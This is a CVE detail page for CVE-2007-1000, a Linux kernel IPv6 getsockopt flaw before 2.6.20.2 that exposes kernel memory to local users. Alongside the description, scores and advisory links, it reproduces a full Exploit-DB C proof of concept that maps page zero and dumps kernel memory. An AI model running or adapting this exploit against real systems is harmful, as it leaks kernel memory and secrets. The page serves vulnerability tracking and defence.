CVE-2007-1000 : Detail

CVE-2007-1000

0.22%V4
Local
2007-03-12
22h00 +00:00
2017-10-09
22h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The ipv6_getsockopt_sticky function in net/ipv6/ipv6_sockglue.c in the Linux kernel before 2.6.20.2 allows local users to read arbitrary kernel memory via certain getsockopt calls that trigger a NULL dereference.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 4172

Publication date : 2007-07-09 22h00 +00:00
Author : dreyer
EDB Verified : Yes

/* * Linux Kernel IPV6_Getsockopt_Sticky Memory Leak Proof Of Concept * dreyer 07-2007 * Osu, Tatakae, Sexy Pandas! * * Dumps to stdout the memory mapped between INI and END. * * CVE: CVE-2007-1000 BID: 22904 * * Affected: Linux Kernel < 2.6.20.2 * * http://bugzilla.kernel.org/show_bug.cgi?id=8134 * * Exploitation based on null pointer dereference: http://lists.immunitysec.com/pipermail/dailydave/2007-March/004133.html * * For free!!! ( worth 600 EUR in zerobay! ) * */ #include <sys/mman.h> #include <netinet/in.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #define HOPOPT_OFFSET 8 #define INIADDR 0xc0100000 #define ENDADDR 0xd0000000 unsigned int i; int main(int argc, char *argv[]) { int s; unsigned int optlen; void *ptr; char value[10240]; char text[12]; fprintf(stderr,"Ipv6_getsockopt_sticky vuln POC\n" "dreyer '07 - free feels better\n" "Dumping %p - %p to stdout\n",INIADDR,ENDADDR); s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); /* Make np->opt = NULL = 0x00000000 through IPV6_2292PKTOPTIONS */ setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, (void *)NULL, 0); /* Make 0x00000000 address valid */ ptr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (ptr != NULL) { perror("mmap"); exit(-1); } memset(ptr,0,4096); /* Make ptr point to np->opt->hopopt = (0x00000000)->hopopt = * 0x00000000 + 8 */ ptr=(char *)((char *)ptr+HOPOPT_OFFSET); i=INIADDR; while(i<ENDADDR) { /* Put in hopopt the address we want to read */ *((int *)ptr)=i; optlen=10240; /* Get the chunk pointed by hopopt through getsockopt IPV6_DSTOPTS */ getsockopt(s, IPPROTO_IPV6, IPV6_DSTOPTS, (void *)value, &optlen); if(optlen>0) { sprintf(text,"\n%08x:",i); write(1,text,strlen(text)); write(1,value,optlen); i=i+optlen; } else { /* We could not read this portion because of some error, skip it */ i=i+4; } } return 0; } // milw0rm.com [2007-07-10]

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.6.20.1

References

http://www.securityfocus.com/bid/22904
Tags : vdb-entry, x_refsource_BID
http://www.kb.cert.org/vuls/id/920689
Tags : third-party-advisory, x_refsource_CERT-VN
http://secunia.com/advisories/24901
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.mandriva.com/security/advisories?name=MDKSA-2007:078
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/24777
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/usn-489-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/24518
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2007/0907
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/25099
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/archive/1/471457
Tags : mailing-list, x_refsource_BUGTRAQ
http://fedoranews.org/cms/node/2787
Tags : vendor-advisory, x_refsource_FEDORA
http://www.redhat.com/support/errata/RHSA-2007-0169.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/25080
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.osvdb.org/33025
Tags : vdb-entry, x_refsource_OSVDB
http://secunia.com/advisories/24493
Tags : third-party-advisory, x_refsource_SECUNIA
http://fedoranews.org/cms/node/2788
Tags : vendor-advisory, x_refsource_FEDORA
http://www.ubuntu.com/usn/usn-486-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/25691
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/26139
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/26133
Tags : third-party-advisory, x_refsource_SECUNIA